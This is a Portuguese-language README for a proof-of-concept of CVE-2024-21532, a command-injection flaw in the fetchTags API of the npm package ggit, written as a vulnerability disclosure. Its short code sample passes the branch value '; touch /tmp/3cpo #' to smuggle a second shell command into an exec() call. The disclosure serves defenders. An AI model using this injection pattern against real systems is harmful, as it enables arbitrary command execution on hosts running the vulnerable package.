
Prova de conceito de exploit para CVE-2024-21532, uma vulnerabilidade de injeção de comandos na API fetchTags do pacote npm ggit, demonstrando o uso inseguro de exec().
ggit se descreve como:
Local promise-returning git command wrappers
Recursos:
Artigo sobre esta vulnerabilidade: https://nodejs-security.com/blog/flawed-git-promises-library-on-npm-leads-to-command-injection-vulnerability
Estou relatando uma vulnerabilidade de Injeção de Comandos no pacote npm ggit.
Esta vulnerabilidade se manifesta com a API fetchTags(branch) da biblioteca,
que permite que a entrada do usuário especifique o branch a ser buscado e, em seguida, concatena
essa string com um comando git, que é então passado para a insegura API exec()
do processo filho do Node.js.
[email protected] ou anteriorconst fetchTags = require("ggit").fetchTags;
fetchTags("; touch /tmp/3cpo #").then(function () {
// should be same as running command
// git pull origin --tags
console.log("done");
});
/tmp/3cpoConsulte CONTRIBUTING para obter diretrizes sobre como contribuir com este projeto.
Liran Tal